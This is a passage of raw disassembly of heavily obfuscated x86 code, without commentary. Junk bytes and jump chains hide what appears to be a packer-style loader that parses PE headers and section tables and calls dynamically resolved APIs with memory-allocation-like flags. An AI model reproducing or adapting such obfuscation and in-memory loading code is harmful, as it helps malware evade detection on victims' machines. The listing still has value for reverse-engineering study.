; ---------------------------------------------------------------------------
		jmp	short loc_406F1D
; ---------------------------------------------------------------------------
		dw 0C9D0h
		db 0CEh
; ---------------------------------------------------------------------------


loc_406EF1:				; CODE XREF: .text:loc_406F1Dj
		jmp	short loc_406F30
; ---------------------------------------------------------------------------
		db 0EFh
		dd 0BDA85FCh, 0E7A601E8h, 83323D94h, 0DF7E3900h, 0FB8AF52Ch
		dd 0D7567118h, 73E2ADC4h, 0CF2EA930h, 0EB3A655Ch, 0C706E148h
		db 0F4h
; ---------------------------------------------------------------------------


loc_406F1D:				; CODE XREF: .text:00406EECj
		jmp	short loc_406EF1
; ---------------------------------------------------------------------------
		db 1Dh
		dd 19606392h
		db 0DEh, 0BFh
; ---------------------------------------------------------------------------


loc_406F26:				; CODE XREF: .text:loc_406F30j
		jmp	short loc_406F53
; ---------------------------------------------------------------------------
		dd 0DBEAD58Ch
; ---------------------------------------------------------------------------


loc_406F2C:				; CODE XREF: .text:00406EB8j
		js	short loc_406F7F
		mov	dh, 0B7h


loc_406F30:				; CODE XREF: .text:loc_406EF1j
		jmp	short loc_406F26
; ---------------------------------------------------------------------------
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		dw 0C1A8h
		dd 0FD54A766h, 0F9C043F2h, 0B5EC9F3Eh, 31D8BB4Ah
		db 16h,	97h, 84h
; ---------------------------------------------------------------------------


loc_406F53:				; CODE XREF: .text:loc_406F26j
		jmp	loc_407085
; ---------------------------------------------------------------------------
		push	edx
		push	ebx
		lea	ebx, ds:80A25Ah
		test	eax, esi
		mov	edx, edx
		cld
		cld
		pop	ebx
		pop	edx


loc_406F68:				; CODE XREF: .text:00406DE3j
		push	0FB0730Ch
		jmp	short loc_406F9A
; ---------------------------------------------------------------------------
		sbb	al, 25h
		cli


loc_406F72:				; CODE XREF: .text:loc_406F9Aj
		jmp	short loc_406FAD
; ---------------------------------------------------------------------------
		dd 0C6A108ABh, 52DDB487h
		db 23h,	20h, 0D9h
; ---------------------------------------------------------------------------


loc_406F7F:				; CODE XREF: .text:loc_406F2Cj
		sahf
		jg	short loc_406FCE
		xchg	eax, ebp
		stosb
		wait
		cmp	[ecx], dl
		jbe	short near ptr loc_406FFF+1
		in	al, 4Dh
		add	dl, [ebx]
		push	eax
		dec	ecx
		dec	esi
		outsd
		jl	short near ptr byte_406F98
		pop	edx
		mov	ebp, [eax-7Fh]
; ---------------------------------------------------------------------------
		db 26h
byte_406F98	db 67h,	14h		; CODE XREF: .text:00406F91j
; ---------------------------------------------------------------------------


loc_406F9A:				; CODE XREF: .text:00406F6Dj
		jmp	short loc_406F72
; ---------------------------------------------------------------------------
		db 0BDh, 0B2h, 3
; ---------------------------------------------------------------------------


loc_406F9F:				; CODE XREF: .text:loc_406FADj
		jmp	short loc_406FD0
; ---------------------------------------------------------------------------
		db 80h,	0B9h, 0FEh
		dd 0A75AC5Fh, 0D6F1987Bh
; ---------------------------------------------------------------------------
		push	edi


loc_406FAD:				; CODE XREF: .text:loc_406F72j
		jmp	short loc_406F9F
; ---------------------------------------------------------------------------
		db 44h
		dd 0B0F3622Dh, 0DC4FAE29h, 0C86BBAE5h, 74478661h, 0E0E3129Dh
		dd 0C3F5E99h, 0F85B6A55h
; ---------------------------------------------------------------------------
		sal	dword ptr [esi], 1


loc_406FCE:				; CODE XREF: .text:00406F80j
		aaa
		movsb


loc_406FD0:				; CODE XREF: .text:loc_406F9Fj
		push	esi
		jmp	short loc_406FFD
; ---------------------------------------------------------------------------
		db 72h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 40h,	79h, 0BEh
		db 1Fh,	6Ch
; ---------------------------------------------------------------------------


loc_406FDA:				; CODE XREF: .text:loc_406FFDj
		jmp	short loc_40700D
; ---------------------------------------------------------------------------
		dd 583BCA35h, 41796B1h,	70B322EDh, 9C0F6EE9h, 882B7AA5h
		dd 34074621h, 0A0A3D25Dh, 0CCFF1E59h
		db 15h
; ---------------------------------------------------------------------------


loc_406FFD:				; CODE XREF: .text:00406FD1j
		jmp	short loc_406FDA
; ---------------------------------------------------------------------------


loc_406FFF:				; CODE XREF: .text:loc_40700Dj
					; .text:00406F87j
		jmp	short loc_407028
; ---------------------------------------------------------------------------
		db 2Ah,	1Bh, 0B8h
		dd 64F7F691h, 0D09382CDh
; ---------------------------------------------------------------------------
		leave


loc_40700D:				; CODE XREF: .text:loc_406FDAj
		jmp	short loc_406FFF
; ---------------------------------------------------------------------------
		db 0CEh
		dd 0DA85FCEFh
; ---------------------------------------------------------------------------


loc_407014:				; CODE XREF: .text:loc_407028j
		jmp	short loc_407043
; ---------------------------------------------------------------------------
		dw 0E80Bh
		dd 94E7A601h, 83323Dh, 2CDF7E39h, 18FB8AF5h
; ---------------------------------------------------------------------------


loc_407028:				; CODE XREF: .text:loc_406FFFj
		jmp	short loc_407014
; ---------------------------------------------------------------------------
		dw 5671h
		dd 0E2ADC4D7h, 2EA93073h, 3A655CCFh, 6E148EBh, 921DF4C7h
		db 63h,	60h, 19h
; ---------------------------------------------------------------------------


loc_407043:				; CODE XREF: .text:loc_407014j
		call	near ptr sub_4048A4
		push	edi
		push	ebx
		xchg	edi, ebx
		lea	ebx, ds:809B5Ah
		dec	ebx
		push	edi
		pop	edi
		test	eax, edi
		mov	ebx, edx
		cld
		pop	ebx
		pop	edi
		add	eax, 5
		push	esi
		push	ebx
		jnz	short near ptr loc_40706A+1
		neg	esi
		mov	esi, 80BC1Ah


loc_40706A:				; CODE XREF: .text:00407061j
		repne lea ebx, ds:810DDAh
		push	eax
		pop	esi
		stc
		cld
		pop	ebx
		pop	esi
		call	eax
		push	esi
		push	edi
		xor	esi, ebp
		inc	esi
		inc	esi
		mov	esi, ebx
		inc	edi
		cld
		pop	edi
		pop	esi


loc_407085:				; CODE XREF: .text:loc_406F53j
		call	loc_4065CD
		jmp	short loc_4070B5
; ---------------------------------------------------------------------------
		db 90h
		db 89h,	8Eh
; ---------------------------------------------------------------------------


loc_40708F:				; CODE XREF: .text:loc_4070B5j
		jmp	short loc_4070C8
; ---------------------------------------------------------------------------
		db 0AFh, 0BCh, 45h
		dd 0C1A8CB9Ah, 0FD54A766h, 0F9C043F2h, 0B5EC9F3Eh, 31D8BB4Ah
		dd 6D849716h, 69F033A2h, 251C8FEEh
; ---------------------------------------------------------------------------
		cli


loc_4070B5:				; CODE XREF: .text:0040708Aj
		jmp	short loc_40708F
; ---------------------------------------------------------------------------
		db 0ABh
		dd 87C6A108h
; ---------------------------------------------------------------------------


loc_4070BC:				; CODE XREF: .text:loc_4070C8j
		jmp	short loc_4070EB
; ---------------------------------------------------------------------------
		dw 0DDB4h
		dd 0D9202352h, 954C7F9Eh
; ---------------------------------------------------------------------------


loc_4070C8:				; CODE XREF: .text:loc_40708Fj
		jmp	short loc_4070BC
; ---------------------------------------------------------------------------
		dw 9BAAh
		dd 77761138h
		db 0E4h
; ---------------------------------------------------------------------------


loc_4070D1:				; CODE XREF: .text:loc_4070EBj
		jmp	short loc_4070FE
; ---------------------------------------------------------------------------
		db 4Dh
		dd 49501302h, 57C6F4Eh,	81688B5Ah, 0BD146726h, 0B98003B2h
		db 0FEh, 5Fh, 0ACh
; ---------------------------------------------------------------------------


loc_4070EB:				; CODE XREF: .text:loc_4070BCj
		jmp	short loc_4070D1
; ---------------------------------------------------------------------------
		db 75h,	0Ah, 7Bh
; ---------------------------------------------------------------------------
		cwde
		icebp
		setalc
		push	edi
		inc	esp
		sub	eax, 29B0F362h
		scasb
		dec	edi
		fsubr	st(5), st


loc_4070FE:				; CODE XREF: .text:loc_4070D1j
		mov	ebp, eax
		jmp	short loc_40712C
; ---------------------------------------------------------------------------
		dw 4786h
		dd 0E3129D74h
		db 0E0h
; ---------------------------------------------------------------------------


loc_407109:				; CODE XREF: .text:loc_40712Cj
		jmp	short loc_40713C
; ---------------------------------------------------------------------------
		db 99h
		dd 550C3F5Eh, 0D1F85B6Ah, 0DA43736h, 910D3C2h, 0C53C2F0Eh
		dd 41284B1Ah, 7DD427E6h, 7940C372h
; ---------------------------------------------------------------------------


loc_40712C:				; CODE XREF: .text:00407100j
		jmp	short loc_407109
; ---------------------------------------------------------------------------
		dw 1FBEh
		dd 3BCA356Ch, 1796B158h, 0B322ED04h
; ---------------------------------------------------------------------------


loc_40713C:				; CODE XREF: .text:loc_407109j
		mov	edx, eax
		jmp	short loc_407170
; ---------------------------------------------------------------------------
		dd 882B7AA5h
; ---------------------------------------------------------------------------
		and	[esi+7], eax


loc_407147:				; CODE XREF: .text:loc_407170j
		jmp	short loc_407187
; ---------------------------------------------------------------------------
		db 34h,	5Dh, 0D2h
		dd 1E59A0A3h, 2A15CCFFh, 0F691B81Bh, 82CD64F7h,	0CEC9D093h
		dd 0DA85FCEFh, 0A601E80Bh, 323D94E7h, 7E390083h
; ---------------------------------------------------------------------------


loc_407170:				; CODE XREF: .text:0040713Ej
		jmp	short loc_407147
; ---------------------------------------------------------------------------
		dw 2CDFh
		dd 18FB8AF5h
; ---------------------------------------------------------------------------


loc_407178:				; CODE XREF: .text:loc_407187j
		jmp	short loc_4071A6
; ---------------------------------------------------------------------------
		dw 5671h
		dd 0E2ADC4D7h, 2EA93073h
		db 0CFh, 5Ch, 65h
; ---------------------------------------------------------------------------


loc_407187:				; CODE XREF: .text:loc_407147j
		jmp	short loc_407178
; ---------------------------------------------------------------------------
		db 3Ah,	0EBh, 48h
		dd 0F4C706E1h, 6063921Dh, 8CBFDE19h, 78DBEAD5h,	24B7B651h
		dd 9053428Dh
		db 89h,	8Eh
; ---------------------------------------------------------------------------


loc_4071A6:				; CODE XREF: .text:loc_407178j
		mov	ebx, eax
		jmp	short loc_4071D9
; ---------------------------------------------------------------------------
		cmpsd
		push	esp
		std


loc_4071AD:				; CODE XREF: .text:loc_4071D9j
		jmp	short loc_4071EC
; ---------------------------------------------------------------------------
		db 0F2h
		dd 3EF9C043h, 4AB5EC9Fh, 1631D8BBh, 0A26D8497h,	0EE69F033h
		dd 0FA251C8Fh, 0C6A108ABh, 52DDB487h, 9ED92023h, 0AA954C7Fh
; ---------------------------------------------------------------------------
		wait


loc_4071D9:				; CODE XREF: .text:004071A8j
		jmp	short loc_4071AD
; ---------------------------------------------------------------------------
		db 38h
		dd 0E4777611h
		db 4Dh,	2
; ---------------------------------------------------------------------------


loc_4071E2:				; CODE XREF: .text:loc_4071ECj
		jmp	short loc_40720F
; ---------------------------------------------------------------------------
		dd 4E495013h, 5A057C6Fh
; ---------------------------------------------------------------------------


loc_4071EC:				; CODE XREF: .text:loc_4071ADj
		jmp	short loc_4071E2
; ---------------------------------------------------------------------------
		db 8Bh
; ---------------------------------------------------------------------------


loc_4071EF:				; CODE XREF: .text:loc_40720Fj
		jmp	short loc_40721F
; ---------------------------------------------------------------------------
		db 68h,	81h, 26h
		dd 0B2BD1467h, 0FEB98003h, 0A75AC5Fh, 0D6F1987Bh, 622D4457h
		dd 0AE29B0F3h
; ---------------------------------------------------------------------------
		dec	edi
		fsubr	st(5), st


loc_40720F:				; CODE XREF: .text:loc_4071E2j
		jmp	short loc_4071EF
; ---------------------------------------------------------------------------
		db 0BAh, 6Bh, 0C8h
		dd 74478661h, 0E0E3129Dh
; ---------------------------------------------------------------------------
		cdq
		pop	esi
		aas


loc_40721F:				; CODE XREF: .text:loc_4071EFj
		add	ebx, [ebx+3Ch]
		push	eax
		push	ebx
		inc	eax
		stc
		rol	eax, 77h
		xchg	ebx, ebx
		test	eax, esp
		push	edi
		pop	eax
		ror	ebx, 21h
		xor	eax, ecx
		xor	eax, edx
		inc	ebx
		cld
		pop	ebx
		pop	eax
		add	ebx, 0F8h
		push	edi
		push	esi
		cmp	bh, dl
		test	cl, ah
		xchg	edi, esi
		neg	edi
		add	esi, 808A5Ah
		inc	edi
		cmp	cl, dl
		mov	si, 49D4h
		inc	esi
		dec	edi
		cld
		pop	esi
		pop	edi
		xor	edi, edi
		push	eax
		push	esi
		dec	eax
		lea	eax, ds:810B1Ah
		or	eax, 80899Ah
		shr	esi, 9Fh
		cmp	esi, 80A45Ah
		dec	esi
		cld
		pop	esi
		pop	eax


loc_40727A:				; CODE XREF: .text:00407596j
		push	ebx
		jmp	short loc_4072A9
; ---------------------------------------------------------------------------
		db 9, 0Eh, 2Fh
		dd 4B1AC53Ch, 27E64128h, 0C3727DD4h, 1FBE7940h,	3BCA356Ch
		dd 1796B158h, 0B322ED04h
; ---------------------------------------------------------------------------


loc_40729C:				; CODE XREF: .text:loc_4072A9j
		jmp	short loc_4072C8
; ---------------------------------------------------------------------------
		dw 0E970h
		dd 0A59C0F6Eh, 21882B7Ah
; ---------------------------------------------------------------------------
		inc	esi


loc_4072A9:				; CODE XREF: .text:0040727Bj
		jmp	short loc_40729C
; ---------------------------------------------------------------------------
		db 7
		db 34h
; ---------------------------------------------------------------------------


loc_4072AD:				; CODE XREF: .text:loc_4072C8j
		jmp	short loc_4072DC
; ---------------------------------------------------------------------------
		db 5Dh
		dd 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah, 0CD64F7F6h,	0C9D09382h
		dd 85FCEFCEh
; ---------------------------------------------------------------------------


loc_4072C8:				; CODE XREF: .text:loc_40729Cj
		jmp	short loc_4072AD
; ---------------------------------------------------------------------------
		dw 0BDAh
		dd 0E7A601E8h, 83323D94h, 0DF7E3900h, 0FB8AF52Ch
; ---------------------------------------------------------------------------


loc_4072DC:				; CODE XREF: .text:loc_4072ADj
		lea	eax, [esp]
		push	eax
		push	ecx
		mov	ax, 499Fh
		ror	eax, 5Bh
		cld
		pop	ecx
		pop	eax
		push	eax
		push	edi
		push	ecx
		mov	edi, edx
		cmp	bh, ch
		test	ecx, ebx
		clc
		cld
		pop	ecx
		pop	edi
		cmp	edi, 2
		jz	loc_40738E
		push	ecx
		push	edx
		cmp	al, 0DBh
		dec	edx
		cld
		pop	edx
		pop	ecx
		push	40h
		jmp	short loc_407338
; ---------------------------------------------------------------------------
		db 2Eh,	0CFh, 5Ch
; ---------------------------------------------------------------------------


loc_407310:				; CODE XREF: .text:loc_407338j
		jmp	short loc_40734B
; ---------------------------------------------------------------------------
		dw 3A65h
; ---------------------------------------------------------------------------
		jmp	short loc_40735E
; ---------------------------------------------------------------------------
		dw 6E1h
; ---------------------------------------------------------------------------
		mov	esp, 6063921Dh
		sbb	esi, ebx
		mov	edi, 0DBEAD58Ch
		js	short loc_407378
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		db 0A8h, 0C1h, 66h
; ---------------------------------------------------------------------------


loc_407338:				; CODE XREF: .text:0040730Bj
		jmp	short loc_407310
; ---------------------------------------------------------------------------
		dw 54A7h
		dd 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h
; ---------------------------------------------------------------------------
		xor	[esi], edx
		xchg	eax, edi


loc_40734B:				; CODE XREF: .text:loc_407310j
		jmp	loc_40739C
; ---------------------------------------------------------------------------
		jmp	short loc_40737E
; ---------------------------------------------------------------------------
		dw 69F0h
		dd 251C8FEEh
; ---------------------------------------------------------------------------
		cli


loc_407359:				; CODE XREF: .text:loc_40737Ej
					; .text:004073BEj
		jmp	short loc_40738E
; ---------------------------------------------------------------------------
		db 0ABh
		db 8, 0A1h
; ---------------------------------------------------------------------------


loc_40735E:				; CODE XREF: .text:00407314j
		mov	byte ptr [edi+2352DDB4h], 20h
		fstp	dword ptr [esi-556AB381h]
		wait
		cmp	[ecx], dl
		jbe	short near ptr byte_4073E7
		in	al, 4Dh
		add	dl, [ebx]
		push	eax
		dec	ecx
		dec	esi
		outsd


loc_407378:				; CODE XREF: .text:00407325j
		jl	short near ptr loc_40737E+1
		pop	edx
		mov	ebp, [eax-7Fh]


loc_40737E:				; CODE XREF: .text:00407350j
					; .text:loc_407378j
		jmp	short loc_407359
; ---------------------------------------------------------------------------
		dd 0BD146726h, 0B98003B2h, 75AC5FFEh
		db 0Ah,	7Bh
; ---------------------------------------------------------------------------


loc_40738E:				; CODE XREF: .text:004072FBj
					; .text:loc_407359j
		push	4
		push	esi
		push	ebx
		test	al, dh
		xchg	esi, ebx
		ror	esi, 14h
		cld
		pop	ebx
		pop	esi


loc_40739C:				; CODE XREF: .text:loc_40734Bj
		push	dword ptr [ebx+8]
		push	ebx
		push	edx
		mov	ebx, ebp
		dec	edx
		cld
		pop	edx
		pop	ebx
		push	dword ptr [ebx+0Ch]
		jmp	short loc_4073D8
; ---------------------------------------------------------------------------
		dd 4FAE29B0h
		db 0DCh, 0E5h, 0BAh
; ---------------------------------------------------------------------------


loc_4073B3:				; CODE XREF: .text:loc_4073D8j
		jmp	short loc_4073E8
; ---------------------------------------------------------------------------
		imul	ecx, eax, 61h
		xchg	al, [edi+74h]
		popf
		adc	ah, bl
		loopne	loc_407359
		pop	esi
		aas
		or	al, 55h
		push	5Bh
		clc
		sal	dword ptr [esi], 1
		aaa
		movsb
		or	eax, 910D3C2h
		push	cs
		das
		cmp	al, 0C5h
		sbb	cl, [ebx+28h]
		inc	ecx


loc_4073D8:				; CODE XREF: .text:004073AAj
		jmp	short loc_4073B3
; ---------------------------------------------------------------------------
		dw 27E6h
		dd 0C3727DD4h, 1FBE7940h
		db 6Ch,	35h, 0CAh
byte_4073E7	db 3Bh			; CODE XREF: .text:0040736Ej
; ---------------------------------------------------------------------------


loc_4073E8:				; CODE XREF: .text:loc_4073B3j
		add	[esp], ebp
		push	edi
		push	eax
		ror	eax, 0D6h
		inc	eax
		mov	ax, 5DB5h
		push	ebx
		pop	eax
		rcr	edi, 0F6h
		repne clc
		cld
		pop	eax
		pop	edi
		push	0A9DE6F5Ah
		jmp	short loc_407434
; ---------------------------------------------------------------------------
		dw 0F6Eh
		dd 2B7AA59Ch, 7462188h,	0A3D25D34h, 0FF1E59A0h,	1B2A15CCh
		db 0B8h
; ---------------------------------------------------------------------------


loc_40741D:				; CODE XREF: .text:loc_407434j
					; .text:0040743Cj
		jmp	short loc_40744C
; ---------------------------------------------------------------------------
		db 91h
		dd 0CD64F7F6h, 0C9D09382h, 85FCEFCEh, 1E80BDAh,	3D94E7A6h
; ---------------------------------------------------------------------------


loc_407434:				; CODE XREF: .text:00407404j
		jmp	short loc_40741D
; ---------------------------------------------------------------------------
		dw 8332h
		db 0, 39h
; ---------------------------------------------------------------------------


loc_40743A:				; CODE XREF: .text:loc_40744Cj
		jmp	short loc_407467
; ---------------------------------------------------------------------------
		jle	short loc_40741D
		sub	al, 0F5h
		mov	bh, bl
		sbb	[ecx+56h], dh
		xlat
		les	ebp, [ebp-56CF8C1Eh]


loc_40744C:				; CODE XREF: .text:loc_40741Dj
		jmp	short loc_40743A
; ---------------------------------------------------------------------------
		db 2Eh
; ---------------------------------------------------------------------------


loc_40744F:				; CODE XREF: .text:loc_407467j
		jmp	short loc_40747A
; ---------------------------------------------------------------------------
		db 0CFh, 5Ch, 65h
		dd 0E148EB3Ah, 1DF4C706h, 19606392h, 0D58CBFDEh
		db 0EAh, 0DBh, 78h
; ---------------------------------------------------------------------------


loc_407467:				; CODE XREF: .text:loc_40743Aj
		jmp	short loc_40744F
; ---------------------------------------------------------------------------
		push	ecx
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		test	al, 0C1h


loc_40747A:				; CODE XREF: .text:loc_40744Fj
		push	esi
		jmp	short loc_4074AB
; ---------------------------------------------------------------------------
		db 9Fh,	0ECh, 0B5h
		dd 31D8BB4Ah
; ---------------------------------------------------------------------------


loc_407484:				; CODE XREF: .text:loc_4074ABj
		jmp	short loc_4074BB
; ---------------------------------------------------------------------------
		dw 9716h
		dd 33A26D84h, 8FEE69F0h, 0ABFA251Ch, 87C6A108h,	2352DDB4h
		dd 7F9ED920h, 9BAA954Ch, 77761138h
		db 0E4h, 4Dh, 2
; ---------------------------------------------------------------------------


loc_4074AB:				; CODE XREF: .text:0040747Bj
		jmp	short loc_407484
; ---------------------------------------------------------------------------
		adc	edx, [eax+49h]
		dec	esi


loc_4074B1:				; CODE XREF: .text:loc_4074BBj
		jmp	short loc_4074DE
; ---------------------------------------------------------------------------
		db 6Fh
		dd 8B5A057Ch
		db 68h,	81h, 26h
; ---------------------------------------------------------------------------


loc_4074BB:				; CODE XREF: .text:loc_407484j
		jmp	short loc_4074B1
; ---------------------------------------------------------------------------
		db 67h
; ---------------------------------------------------------------------------


loc_4074BE:				; CODE XREF: .text:loc_4074DEj
		jmp	short loc_4074EE
; ---------------------------------------------------------------------------
		dd 3B2BD14h, 5FFEB980h,	7B0A75ACh, 57D6F198h, 0F3622D44h
		dd 4FAE29B0h, 6BBAE5DCh
		db 0C8h, 61h
; ---------------------------------------------------------------------------


loc_4074DE:				; CODE XREF: .text:loc_4074B1j
		jmp	short loc_4074BE
; ---------------------------------------------------------------------------
		dd 9D744786h, 99E0E312h, 550C3F5Eh
; ---------------------------------------------------------------------------
		push	5Bh


loc_4074EE:				; CODE XREF: .text:loc_4074BEj
		call	near ptr sub_4048A4
		push	edi
		push	esi
		cmp	bl, ch
		stc
		cld
		pop	esi
		pop	edi
		call	eax
		push	eax
		push	esi
		mov	esi, 80AF9Ah
		ror	eax, 3Ah
		cmp	ebx, esp
		ror	eax, 31h
		not	eax
		xor	eax, edi
		inc	esi
		mov	si, 48F9h
		inc	esi
		cld
		pop	esi
		pop	eax


loc_407519:				; CODE XREF: .text:00407559j
		add	esp, 4
		push	eax
		push	ecx
		ror	ecx, 39h
		cmp	ebx, esi
		clc
		xor	ecx, ebp
		neg	eax
		nop
		cld
		pop	ecx
		pop	eax
		inc	edi
		push	ecx
		push	esi
		shr	ecx, 35h
		mov	cx, 4A92h
		ror	esi, 39h
		mov	esi, 8090DAh
		not	ecx
		cmp	al, 0C4h
		xchg	ecx, esi
		xchg	ecx, ecx
		cld
		pop	esi
		pop	ecx
		add	ebx, 28h
		jmp	short loc_40755C
; ---------------------------------------------------------------------------
		dw 4128h
		dd 7DD427E6h
		db 72h
; ---------------------------------------------------------------------------


loc_407555:				; CODE XREF: .text:loc_40755Cj
		jmp	short loc_407583
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		inc	eax
		jns	short loc_407519
		pop	ds


loc_40755C:				; CODE XREF: .text:0040754Cj
		jmp	short loc_407555
; ---------------------------------------------------------------------------


loc_40755E:				; CODE XREF: .text:loc_407583j
		jmp	short loc_407593
; ---------------------------------------------------------------------------
		dd 3BCA356Ch, 1796B158h, 0B322ED04h, 0F6EE970h,	2B7AA59Ch
		dd 7462188h, 0A3D25D34h, 0FF1E59A0h
		db 0CCh
		db 15h,	2Ah
; ---------------------------------------------------------------------------


loc_407583:				; CODE XREF: .text:loc_407555j
		jmp	short loc_40755E
; ---------------------------------------------------------------------------
		db 1Bh,	0B8h, 91h
		dd 0CD64F7F6h, 0C9D09382h
		db 0CEh, 0EFh, 0FCh
; ---------------------------------------------------------------------------


loc_407593:				; CODE XREF: .text:loc_40755Ej
		cmp	edi, 3
		jnz	loc_40727A
		push	eax
		push	edi
		cmp	esp, ebp
		inc	eax
		lea	eax, ds:80AA9Ah
		mov	di, 4909h
		neg	eax
		cld
		pop	edi
		pop	eax
		push	ebx
		jmp	short loc_4075E3
; ---------------------------------------------------------------------------
		db 32h
		db 83h
; ---------------------------------------------------------------------------


loc_4075B5:				; CODE XREF: .text:loc_4075E3j
		jmp	short loc_4075FE
; ---------------------------------------------------------------------------
		align 4
		dd 2CDF7E39h, 18FB8AF5h, 0C4D75671h, 3073E2ADh,	5CCF2EA9h
		dd 48EB3A65h, 0F4C706E1h, 6063921Dh, 8CBFDE19h,	78DBEAD5h
; ---------------------------------------------------------------------------
		push	ecx
		mov	dh, 0B7h


loc_4075E3:				; CODE XREF: .text:004075B1j
		jmp	short loc_4075B5
; ---------------------------------------------------------------------------
		and	al, 8Dh
		inc	edx
		push	ebx
		nop


loc_4075EA:				; CODE XREF: .text:loc_4075FEj
		jmp	short loc_407619
; ---------------------------------------------------------------------------
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		db 0A8h
		dd 54A766C1h, 0C043F2FDh
		db 0F9h, 3Eh
; ---------------------------------------------------------------------------


loc_4075FE:				; CODE XREF: .text:loc_4075B5j
		jmp	short loc_4075EA
; ---------------------------------------------------------------------------
		dd 4AB5EC9Fh, 1631D8BBh, 0A26D8497h, 0EE69F033h, 0FA251C8Fh
		dd 0C6A108ABh
		db 87h
; ---------------------------------------------------------------------------


loc_407619:				; CODE XREF: .text:loc_4075EAj
		lea	eax, [esp]
		push	edx
		push	ebx
		cmp	al, 0C0h
		test	al, dh
		mov	edx, eax
		dec	ebx
		cld
		pop	ebx
		pop	edx
		push	eax
		jmp	short loc_40764E
; ---------------------------------------------------------------------------
		jg	short loc_407679
		xchg	eax, ebp


loc_40762E:				; CODE XREF: .text:loc_40764Ej
		jmp	short loc_40765E
; ---------------------------------------------------------------------------
		dd 11389BAAh, 4DE47776h, 49501302h, 57C6F4Eh, 81688B5Ah
		dd 0BD146726h, 0B98003B2h
		db 0FEh, 5Fh
; ---------------------------------------------------------------------------


loc_40764E:				; CODE XREF: .text:00407629j
		jmp	short loc_40762E
; ---------------------------------------------------------------------------
		dd 7B0A75ACh, 57D6F198h, 0F3622D44h
; ---------------------------------------------------------------------------
		mov	al, 29h


loc_40765E:				; CODE XREF: .text:loc_40762Ej
		push	4
		push	edx
		push	ecx


loc_407662:				; CODE XREF: .text:00407680j
		mov	edx, 81109Ah
		mov	cx, 5337h
		neg	ecx
		rcr	ecx, 35h
		dec	ecx
		cld
		pop	ecx
		pop	edx
		push	400h


loc_407679:				; CODE XREF: .text:0040762Bj
		jmp	short loc_4076A7
; ---------------------------------------------------------------------------
		db 86h
		dd 129D7447h
; ---------------------------------------------------------------------------
		jecxz	short loc_407662


loc_407682:				; CODE XREF: .text:loc_4076A7j
		jmp	short loc_4076B7
; ---------------------------------------------------------------------------
		dd 0C3F5E99h, 0F85B6A55h, 0A43736D1h, 10D3C20Dh, 3C2F0E09h
		dd 284B1AC5h, 0D427E641h, 40C3727Dh
		db 79h,	0BEh, 1Fh
; ---------------------------------------------------------------------------


loc_4076A7:				; CODE XREF: .text:loc_407679j
		jmp	short loc_407682
; ---------------------------------------------------------------------------
		db 6Ch,	35h, 0CAh
; ---------------------------------------------------------------------------
		cmp	ebx, [eax-4Fh]


loc_4076AF:				; CODE XREF: .text:loc_4076B7j
		jmp	short loc_4076DA
; ---------------------------------------------------------------------------
		db 96h,	17h, 4
		db 0EDh, 22h, 0B3h
; ---------------------------------------------------------------------------


loc_4076B7:				; CODE XREF: .text:loc_407682j
		jmp	short loc_4076AF
; ---------------------------------------------------------------------------
		db 70h,	0E9h, 6Eh
		dd 7AA59C0Fh, 4621882Bh, 0D25D3407h, 1E59A0A3h,	2A15CCFFh
		dd 0F691B81Bh, 82CD64F7h
		db 93h,	0D0h
; ---------------------------------------------------------------------------


loc_4076DA:				; CODE XREF: .text:loc_4076AFj
		push	ebp
		jmp	short loc_407706
; ---------------------------------------------------------------------------
		cld
		test	ebx, edx


loc_4076E0:				; CODE XREF: .text:loc_407706j
		jmp	short loc_407719
; ---------------------------------------------------------------------------
		dw 0E80Bh
		dd 94E7A601h, 83323Dh, 2CDF7E39h, 18FB8AF5h, 0C4D75671h
		dd 3073E2ADh, 5CCF2EA9h, 48EB3A65h
		db 0E1h, 6
; ---------------------------------------------------------------------------


loc_407706:				; CODE XREF: .text:004076DBj
		jmp	short loc_4076E0
; ---------------------------------------------------------------------------
		mov	esp, 6063921Dh
		sbb	esi, ebx
		mov	edi, 0DBEAD58Ch
		js	short loc_407768
		mov	dh, 0B7h


loc_407719:				; CODE XREF: .text:loc_4076E0j
		push	0A9DE6F5Ah
		push	edx
		push	esi
		jns	loc_407737
		jo	loc_40772D
		cld


loc_40772D:				; CODE XREF: .text:00407726j
		mov	esi, 80935Ah
		rcl	edx, 3
		xor	edx, edx


loc_407737:				; CODE XREF: .text:00407720j
		cld
		pop	esi
		pop	edx
		push	esi
		push	edi
		push	ebx
		cmp	ebx, 809F1Ah
		dec	ebx
		cld
		pop	ebx
		pop	edi
		call	near ptr sub_4048A4
		push	ebx
		push	eax
		not	ebx
		lea	eax, ds:81189Ah
		inc	ebx
		lea	ebx, ds:80A792h
		xchg	eax, ebx
		push	ebx
		pop	ebx
		cld
		pop	eax
		pop	ebx
		call	eax
		push	eax
		push	edi


loc_407768:				; CODE XREF: .text:00407715j
		cmp	edi, 8090DAh
		push	edi
		pop	eax
		cmp	dl, dh
		inc	eax
		cld
		pop	edi
		pop	eax
		add	esp, 4
		jmp	short loc_4077A8
; ---------------------------------------------------------------------------
		db 54h
		db 0FDh, 0F2h
; ---------------------------------------------------------------------------


loc_40777E:				; CODE XREF: .text:loc_4077A8j
		jmp	short loc_4077BB
; ---------------------------------------------------------------------------
		dd 3EF9C043h, 4AB5EC9Fh, 1631D8BBh, 0A26D8497h,	0EE69F033h
		dd 0FA251C8Fh, 0C6A108ABh, 52DDB487h, 9ED92023h, 0AA954C7Fh
; ---------------------------------------------------------------------------


loc_4077A8:				; CODE XREF: .text:00407779j
		jmp	short loc_40777E
; ---------------------------------------------------------------------------
		wait


loc_4077AB:				; CODE XREF: .text:loc_4077BBj
		jmp	short loc_4077D6
; ---------------------------------------------------------------------------
		db 38h,	11h, 76h
		dd 24DE477h, 4E495013h
		db 6Fh,	7Ch, 5
; ---------------------------------------------------------------------------


loc_4077BB:				; CODE XREF: .text:loc_40777Ej
		jmp	short loc_4077AB
